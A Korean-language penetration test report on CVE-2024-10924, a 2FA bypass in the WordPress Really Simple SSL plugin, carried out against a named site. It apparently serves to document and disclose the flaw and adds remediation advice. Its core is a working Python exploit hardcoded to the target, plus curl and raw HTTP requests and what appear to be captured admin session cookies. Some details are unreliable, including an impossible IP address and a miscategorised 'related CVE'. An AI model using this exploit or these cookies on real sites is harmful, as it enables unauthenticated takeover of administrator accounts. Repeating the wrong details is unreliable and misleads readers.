
CVE-2024-10924에 대한 상세 침투 테스트 보고서 및 개념 증명 익스플로잇. 이는 WordPress Really Simple SSL 플러그인의 중요한 2FA 우회 취약점으로, 인증되지 않은 관리자 접근을 가능하게 합니다.
대상: https://skior.co
취약점: CVE-2024-10924 - Really Simple SSL 플러그인의 2FA 우회
심각도: 심각 (CVSS 점수: 9.8)
상태: 성공적으로 익스플로잇됨
발견 날짜: 2025-06-25
보고서 버전: 2.1
이 침투 테스트는 인증되지 않은 공격자가 이중 인증(2FA) 제어를 우회하여 WordPress 사이트에 대한 관리자 액세스 권한을 얻을 수 있는 심각한 인증 우회 취약점을 발견했습니다.
이 평가는 업계 표준에 기반한 체계적인 블랙박스 침투 테스트 방법론을 따릅니다:

식별된 기술:
└─$ whatweb https://skior.co
https://skior.co [200 OK] Country[UNITED STATES][US], HTML5,
HTTPServer[Ubuntu Linux][nginx/1.26.0 (Ubuntu)], IP[123.456.789.200],
JQuery[3.7.1],MetaGenerator[Elementor 3.29.2;
features: additional_custom_breakpoints, e_local_google_fonts;
settings: css_print_method-external, google_font-enabled, font_display-swap,
WordPress 6.8.1], PHP[8.2.28], PoweredBy[Skior],
Script[speculationrules,text/javascript], Title[Skior Technologies],
UncommonHeaders[link], WordPress[6.8.1], X-Powered-By[PHP/8.2.28], nginx[1.26.0]
**주요 발견 사항:**
- 최신 버전의 WordPress 설치
- nginx를 사용한 전문 호스팅 설정
- 사용자 정의 브랜딩 ("PoweredBy[Skior]")
- Elementor 페이지 빌더 사용 중
- 지리적 위치: 미국
### 2단계: 사용자 열거
#### A. WordPress 작성자 열거```bash
└─$ curl -I https://skior.co/?author=1
HTTP/1.1 301 Moved Permanently
Server: nginx/1.26.0 (Ubuntu)
Date: Wed, 25 Jun 2025 18:12:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.28
X-Redirect-By: WordPress
Location: https://skior.co/author/pastor/
발견된 사용자: pastor (사용자 ID: 1)
for i in {1..10}; do echo "Checking user ID: $i" curl -s -o /dev/null -w "%{http_code}" "https://skior.co/?author=$i" echo " - https://skior.co/?author=$i" done
#### C. 사용자명 열거 결과
| 사용자 ID | 사용자명 | 상태 | 리디렉션 URL |
|-----------|----------|------|--------------|
| 1 | pastor | ✅ 발견됨 | `/author/pastor/` |
| 2-10 | N/A | ❌ 찾을 수 없음 | 404 응답 |
### 3단계: 취약점 스캔
#### A. WPScan 종합 분석```bash
└─$ wpscan --url https://skior.co --api-token my-api-key
스캔 결과 요약:
참고: WPScan은 Really Simple SSL 플러그인을 감지하지 못했습니다. 이는 난독화 또는 사용자 지정 명명을 사용하고 있을 수 있음을 나타냅니다.
└─$ curl -s https://skior.co/wp-json/ | jq '.routes | keys[]'
**발견된 사용자 정의 엔드포인트:**```
/reallysimplessl/v1/two_fa
/reallysimplessl/v1/two_fa/skip_onboarding
/reallysimplessl/v1/two_fa/do_not_ask_again
/reallysimplessl/v1/two_fa/resend_email_code
/reallysimplessl/v1/two_fa/save_default_method_email
/reallysimplessl/v1/two_fa/save_default_method_email_profile
/reallysimplessl/v1/two_fa/save_default_method_totp
/reallysimplessl/v1/two_fa/validate_email_setup
중요 발견: /reallysimplessl/v1/two_fa/skip_onboarding 엔드포인트가 의심스럽게 보여 추가 조사가 필요했습니다.
사용자 정의 REST API 경로를 발견한 후, 외부 연구를 통해 CVE-2024-10924가 Really Simple SSL 플러그인에 영향을 미치는 심각한 취약점임이 밝혀졌습니다.
CVE ID: CVE-2024-10924
CVSS 점수: 9.8 (심각)
영향을 받는 플러그인: Really Simple SSL
취약점 유형: 인증 우회
공격 벡터: REST API
발견 날짜: 2024년 11월 6일
공개 공개: 2024년 11월 14일
취약점은 이중 인증 REST API 작업 내 check_login_and_get_user 함수의 부적절한 사용자 검증에서 비롯됩니다. 이 함수는 login_nonce 매개변수를 제대로 검증하지 못하여 공격자가 다음을 수행할 수 있게 합니다:
// Simplified vulnerable code structure function check_login_and_get_user($user_id, $login_nonce) { // Missing proper validation of login_nonce $user = get_user_by('ID', $user_id);
// No validation of login_nonce parameter
// This allows any value to be accepted
return $user; // Returns user object without verification
}
#### 영향을 받는 엔드포인트
다음 REST API 엔드포인트가 취약합니다:
- `/reallysimplessl/v1/two_fa/skip_onboarding`
- `/reallysimplessl/v1/two_fa/do_not_ask_again`
- `/reallysimplessl/v1/two_fa/resend_email_code`
#### 취약점 조건
이 취약점이 악용되기 위해서는 다음 조건이 필요합니다:
- ✅ Really Simple SSL 플러그인이 설치 및 활성화되어 있어야 함
- ✅ Two-Factor Authentication 설정이 활성화되어 있어야 함 (기본적으로 비활성화)
- ✅ 시스템에 최소 하나의 사용자 계정이 존재해야 함
- ✅ REST API에 접근 가능해야 함 (기본 WordPress 설정)
---
## 🔄 공격 흐름```mermaid
graph TD
A[Initial Reconnaissance] --> B[Technology Stack Identification]
B --> C[User Enumeration]
C --> D[Vulnerability Scanning]
D --> E[REST API Enumeration]
E --> F[Discovery of Really Simple SSL Endpoints]
F --> G[External Research]
G --> H[Identification of CVE-2024-10924]
H --> I[Manual Testing]
I --> J[Exploit Development]
J --> K[Successful Exploitation]
K --> L[Admin Access Obtained]
L --> M[Impact Assessment]
style A fill:#e1f5fe
style F fill:#fff3e0
style H fill:#ffebee
style K fill:#e8f5e8
style L fill:#f3e5f5
먼저, 엔드포인트의 동작을 이해하기 위해 수동으로 테스트했습니다:```bash
curl -X POST "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
-H "Content-Type: application/json"
-d '{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}'
#### B. Python 익스플로잇 스크립트```python
import requests
import urllib.parse
import sys
if len(sys.argv) != 2:
print("Usage: python exploit.py <user_id>")
sys.exit(1)
user_id = sys.argv[1]
url = "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
"user_id": int(user_id), # User ID from the argument
"login_nonce": "invalid_nonce", # Arbitrary value
"redirect_to": "/wp-admin/" # Target redirection
}
# Sending the POST request
response = requests.post(url, json=data)
# Checking the response
if response.status_code == 200:
print("Request successful!\n")
# Extracting cookies
cookies = response.cookies.get_dict()
count = 1
for name, value in cookies.items():
decoded_value = urllib.parse.unquote(value) # Decode the URL-encoded cookie value
print(f"Cookie {count}:")
print(f"Cookie Name: {name}")
print(f"Cookie Value: {decoded_value}\n")
count += 1
else:
print("Request failed!")
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
└─$ python exploit.py 1 Request successful!
Cookie 1: Cookie Name: wordpress_sec_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da
Cookie 2: Cookie Name: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144
#### 쿠키 조작 과정

*위: 브라우저 개발자 도구를 사용하여 캡처한 WordPress 세션 쿠키를 추가하는 쿠키 조작 과정을 보여주는 스크린샷.*
#### 성공적인 관리자 접근

*위: 2FA 우회 취약점을 악용한 후 WordPress 대시보드에 성공적으로 관리자 접근한 것을 확인하는 스크린샷.*
#### 쿠키 분석
**WordPress 보안 쿠키:**
- **이름:** `wordpress_sec_dc22060175d35fce22f69728c6799c9d`
- **값:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
- **구성 요소:**
- 사용자 이름: `pastor`
- 만료: `1752234264` (Unix 타임스탬프)
- Nonce: `GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH`
- 해시: `cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
**WordPress 로그인 쿠키:**
- **이름:** `wordpress_logged_in_dc22060175d35fce22f69728c6799c9d`
- **값:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144`
---
## 🎯 영향 평가
### 즉각적인 영향
1. **사이트 완전 장악**
- WordPress 대시보드에 대한 관리자 접근
- 사이트 콘텐츠, 테마, 플러그인 수정 가능
- 사용자 관리 및 설정 접근
2. **데이터 노출**
- 모든 사용자 계정 및 프로필 접근
- 데이터베이스 콘텐츠 가시성
- 구성 파일 접근
3. **권한 상승**
- 모든 인증 제어 우회
- 2FA 보안 조치 회피
- 모든 사용자로 가장 가능
### 잠재적 공격 시나리오
1. **콘텐츠 변조**
- 웹사이트 콘텐츠 훼손
- 악성 코드 삽입
- 백도어 생성
2. **데이터 도난**
- 사용자 정보 탈취
- 민감한 콘텐츠 접근
- 데이터베이스 백업 다운로드
3. **지속성 확보**
- 악성 플러그인 설치
- 숨겨진 관리자 계정 생성
- 명령 및 제어 수립
### 위험 점수: **심각 (9.8/10)**
| 요인 | 점수 | 사유 |
|--------|-------|---------------|
| **접근 복잡도** | 낮음 (1.0) | 간단한 HTTP 요청 |
| **인증** | 없음 (0.0) | 인증 불필요 |
| **무결성 영향** | 높음 (1.0) | 시스템 완전 장악 |
| **기밀성 영향** | 높음 (1.0) | 전체 데이터 접근 |
| **가용성 영향** | 높음 (1.0) | 사이트 비활성화 가능 |
### 비즈니스 영향 분석
| 영향 범주 | 심각도 | 설명 |
|----------------|----------|-------------|
| **재정** | 높음 | 잠재적 수익 손실, 법적 비용 |
| **평판** | 심각 | 브랜드 손상, 고객 신뢰 상실 |
| **운영** | 높음 | 서비스 중단, 데이터 손실 |
| **규정 준수** | 높음 | 규제 위반, 감사 실패 |
---
## 🛡️ 해결 방안
### 즉시 조치 (0-24시간)
1. **Really Simple SSL 플러그인 비활성화** ```bash
# Via wp-cli (if available)
wp plugin deactivate really-simple-ssl
# Or manually rename plugin directory
mv wp-content/plugins/really-simple-ssl wp-content/plugins/really-simple-ssl.disabled
플러그인 업데이트 또는 제거
사용자 세션 감사
보안 강화
모니터링 구현
정기 보안 평가
보안 정책 업데이트
// Add to wp-config.php for enhanced security define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); define('FORCE_SSL_ADMIN', true);
// Restrict REST API access add_filter('rest_authentication_errors', function($result) { if (!empty($result)) { return $result; } if (!is_user_logged_in()) { return new WP_Error('rest_not_logged_in', 'You are not currently logged in.', array('status' => 401)); } return $result; });
// Additional security headers add_action('send_headers', function() { header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: SAMEORIGIN'); header('X-XSS-Protection: 1; mode=block'); header('Referrer-Policy: strict-origin-when-cross-origin'); });
### 대체 SSL 솔루션
| 솔루션 | 장점 | 단점 | 추천 |
|--------|------|------|--------|
| **Let's Encrypt** | 무료, 자동화 | 수동 설정 | ✅ 추천 |
| **Cloudflare** | 쉬운 설정, DDoS 보호 | DNS 변경 필요 | ✅ 좋은 옵션 |
| **호스팅 제공자 SSL** | 통합됨 | 제한 사항 있을 수 있음 | ⚠️ 기능 확인 |
| **수동 SSL** | 완전한 제어 | 복잡한 설정 | ❌ 권장하지 않음 |
---
## 🛠️ 사용된 도구
### 정찰 도구
- **Wappalyzer** - 기술 스택 식별
- **WhatWeb** - 웹 애플리케이션 지문 인식
- **WPScan** - WordPress 취약점 스캐닝
- **curl** - 수동 API 테스트
### 공격 도구
- **Python 3** - 익스플로잇 개발
- **requests** - HTTP 클라이언트 라이브러리
- **urllib.parse** - URL 인코딩/디코딩
### 분석 도구
- **jq** - JSON 처리
- **grep** - 텍스트 패턴 매칭
- **bash** - 명령줄 자동화
---
## 📚 참고 자료
### 취약점 정보
- [CVE-2024-10924](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10924)
- [WordPress 플러그인 보안](https://wordpress.org/plugins/security/)
- [Really Simple SSL 플러그인](https://wordpress.org/plugins/really-simple-ssl/)
### 기술 문서
- [WordPress REST API 핸드북](https://developer.wordpress.org/rest-api/)
- [WordPress 보안 모범 사례](https://wordpress.org/support/article/hardening-wordpress/)
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
### 도구 및 리소스
- [WPScan](https://wpscan.com/)
- [WhatWeb](https://github.com/urbanadventurer/WhatWeb)
- [Wappalyzer](https://www.wappalyzer.com/)
### 관련 CVE
- CVE-2024-10924 - Really Simple SSL의 2FA 우회
- CVE-2023-28121 - WordPress 코어 XSS
- CVE-2023-28122 - WordPress 코어 CSRF
### 업계 표준
- [OWASP 테스트 가이드](https://owasp.org/www-project-web-security-testing-guide/)
- [NIST 사이버보안 프레임워크](https://www.nist.gov/cyberframework)
- [ISO 27001](https://www.iso.org/isoiec-27001-information-security.html)
---
## 📄 법적 고지
이 침투 테스트 보고서는 교육 및 승인된 보안 평가 목적으로만 사용됩니다. 설명된 기술과 도구는 소유한 시스템이나 명시적 테스트 허가를 받은 시스템에만 사용해야 합니다. 무단 테스트는 법률 및 규정을 위반할 수 있습니다.
**책임 있는 공개:** 이 취약점은 플러그인 개발자 및 WordPress 보안 팀에 보고되었습니다.
**면책 조항:** 이 보고서에 제공된 정보는 테스트 당시 수행된 평가를 기반으로 합니다. 보안 환경은 빠르게 변화하며, 이 평가 중 발견되지 않은 추가 취약점이 존재할 수 있습니다.
---
## 📋 부록
### 부록 A: 원시 HTTP 요청
#### 성공적인 공격 요청```http
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: skior.co
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}
HTTP/1.1 200 OK Server: nginx/1.26.0 (Ubuntu) Date: Wed, 25 Jun 2025 18:15:30 GMT Content-Type: text/html; charset=UTF-8 Set-Cookie: wordpress_sec_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da; path=/; secure; HttpOnly Set-Cookie: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144; path=/
### 부록 B: 보안 체크리스트
#### 사전 공격 단계
- [ ] 대상 식별 및 범위 정의
- [ ] 법적 승인 획득
- [ ] 테스트 환경 준비
- [ ] 도구 및 스크립트 검증
#### 공격 실행 단계
- [ ] 취약점 수동 확인
- [ ] 익스플로잇 개발 및 테스트
- [ ] 영향 범위를 승인된 범위로 제한
- [ ] 증거 철저히 문서화
#### 사후 공격 단계
- [ ] 모든 접근 제거
- [ ] 증거 보존
- [ ] 보고서 생성
- [ ] 수정 권장 사항 제공
### 부록 C: 용어집
| Term | Definition |
|------|------------|
| **2FA** | 이중 인증 |
| **CVSS** | 공통 취약점 점수 시스템 |
| **REST API** | Representational State Transfer 응용 프로그래밍 인터페이스 |
| **WAF** | 웹 애플리케이션 방화벽 |
| **XSS** | 사이트 간 스크립팅 |
| **CSRF** | 사이트 간 요청 위조 |
---
*보고서 생성일: 2025-06-25*
*보안 연구원*
*버전: 2.1*
*최종 업데이트: 2025-06-25*
| 위험 수준 | 확률 | 영향 | 완화 우선순위 |
|---|
| 심각 | 높음 | 전체 시스템 손상 | 즉시 |
| 높음 | 중간 | 데이터 유출 | 높음 |
| 중간 | 낮음 | 서비스 중단 | 중간 |
| 필드 | 값 |
|---|
| 도메인 | https://skior.co |
| IP 주소 | 123.456.789.200 |
| 서버 | nginx/1.26.0 (Ubuntu) |
| PHP 버전 | 8.2.28 |
| CMS | WordPress 6.8.1 |
| 취약 플러그인 | Really Simple SSL |
| 지리적 위치 | 미국 |
| 호스팅 제공자 | 전문 호스팅 (VPS/전용 서버 가능) |
| 날짜/시간 | 이벤트 | 세부 사항 |
|---|
| 2025-06-25 14:02 | 초기 정찰 | Wappalyzer 분석 완료 |
| 2025-06-25 14:05 | 기술 스택 식별 | WordPress 6.8.1, nginx, PHP 8.2.28 |
| 2025-06-25 14:10 | 사용자 열거 | 사용자 "pastor" 발견 (ID: 1) |
| 2025-06-25 14:15 | WPScan 분석 | 알려진 취약점 없음 |
| 2025-06-25 14:20 | REST API 열거 | Really Simple SSL 엔드포인트 발견 |
| 2025-06-25 14:25 | 취약점 연구 | CVE-2024-10924 식별 |
| 2025-06-25 14:30 | 수동 테스트 | 취약점 존재 확인 |
| 2025-06-25 14:35 | 익스플로잇 개발 | Python 개념 증명 생성 |
| 2025-06-25 14:40 | 익스플로잇 성공 | 관리자 액세스 획득 |
| 2025-06-25 14:45 | 영향 평가 | 잠재적 피해 문서화 |
| 2025-06-25 15:00 | 보고서 생성 | 종합 문서화 |